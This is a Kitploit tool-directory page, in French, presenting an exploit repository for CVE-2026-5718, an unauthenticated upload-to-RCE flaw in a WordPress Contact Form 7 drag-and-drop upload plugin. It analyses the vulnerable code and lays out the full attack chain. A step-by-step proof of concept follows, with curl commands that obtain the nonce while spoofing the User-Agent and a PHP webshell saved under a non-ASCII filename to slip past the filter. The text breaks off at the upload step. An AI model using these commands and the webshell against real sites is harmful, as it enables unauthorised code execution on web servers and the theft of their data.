Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5718 — CVE-2026-5718 : Téléversement de fichier non authentifié menant à une exécution de code à distance (RCE) dans le plugin DnD Upload CF7 | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-5718
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718 : Téléversement de fichier non authentifié menant à une exécution de code à distance (RCE) dans le plugin DnD Upload CF7

5il y a 4 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5718

CVE-2026-5718 : Téléversement de fichier non authentifié menant à une RCE dans le plugin DnD Upload CF7

CVE-2026-5718 — Scanner RCE de téléversement de fichiers DnD CF7

Plugin : Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug : drag-and-drop-multiple-file-upload-contact-form-7 CVE ID : CVE-2026-5718 Score CVSS : 8.1 (High) Vecteur CVSS : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Type de vulnérabilité : Téléversement de fichier arbitraire non authentifié → Exécution de code à distance Versions affectées : <= 1.3.9.6 Version corrigée : 1.3.9.7 Date de publication : 17 avril 2026 Chercheur : Leonid Semenenko (lsemenenko) — Wordfence


📌 À propos de la vulnérabilité

Dans le plugin Drag and Drop Multiple File Upload for Contact Form 7, deux erreurs logiques indépendantes se combinent pour permettre à des attaquants non authentifiés de téléverser un webshell PHP.

  1. Destruction de la blacklist : La configuration personnalisée de la blacklist remplace entièrement la liste par défaut des extensions dangereuses au lieu de la fusionner. php n'est plus bloqué.

  2. Contournement non-ASCII : La présence d'un caractère non-ASCII dans le nom de fichier empêche l'appel de la fonction wpcf7_antiscript_file_name(). L'extension .php est conservée et le fichier est écrit sur le disque.


🔍 Résumé de la vulnérabilité

ChampValeur
Nom du pluginDrag and Drop Multiple File Upload for CF7
CVE IDCVE-2026-5718
Score CVSS8.1 (High)
Type de vulnérabilitéTéléversement de fichier arbitraire non authentifié
Version affectée<= 1.3.9.6
Version corrigée1.3.9.7
PrérequisConfiguration personnalisée blacklist-types dans le formulaire CF7

⚙️ Analyse technique

Vulnérabilité 1 — Nonce public (ligne 62)

// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

L'action wp_ajax_nopriv__wpcf7_check_nonce est accessible à tous. Lorsqu'un nonce invalide est envoyé, un nouveau nonce est fourni gratuitement. La vérification de curl est contournée en envoyant un User-Agent Mozilla.


Vulnérabilité 2 — La blacklist est remplacée au lieu d'être fusionnée (ligne 883)

// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ASSIGNMENT (=) — MERGE DEĞİL
    // Özel liste: sadece ['zip']
    // 'php' artık listede YOK → kabul edilir
}

Configuration de la balise de formulaire déclenchante :

[mfile upload-file filetypes="*" blacklist-types:zip]

L'administrateur veut bloquer ZIP → le plugin supprime toute la denylist par défaut. Toutes les extensions dangereuses, y compris php, sont désormais acceptées.

De plus, la liste codée en dur pour filetypes="*" est également incomplète :

// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

Vulnérabilité 3 — Contournement non-ASCII (ligne 970)

// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // Sadece pure-ASCII dosya adları için çağrılır
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // Non-ASCII karakter → false → antiscript atlanır
}

🔴 Chaîne d'attaque complète

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (curl değil)                     │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce ücretsiz alındı                                    │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce geçerli ✓                                   │
│       ├── blacklist=['zip'] → 'php' engellenmez ✓          │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() ATLANIR ✓           │
│       └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → Unauthenticated RCE ✓                                    │
└─────────────────────────────────────────────────────────────┘

🧪 Preuve de concept (Manuelle)

⚠️ Avertissement : Cette PoC est fournie uniquement à des fins éducatives et de recherche en sécurité défensive. Ne l'utilisez que sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Prérequis :

  • Plugin installé et actif (version <= 1.3.9.6)
  • Le formulaire CF7 doit contenir un champ [mfile] avec blacklist-types :
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

Étape 1 — Obtenir le nonce

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

Réponse attendue :

{"success": true, "data": "abc123def456"}

Étape 2 — Créer un webshell avec un nom de fichier non-ASCII

# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

Étape 3 — Téléverser le shell

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
Télécharger l’outil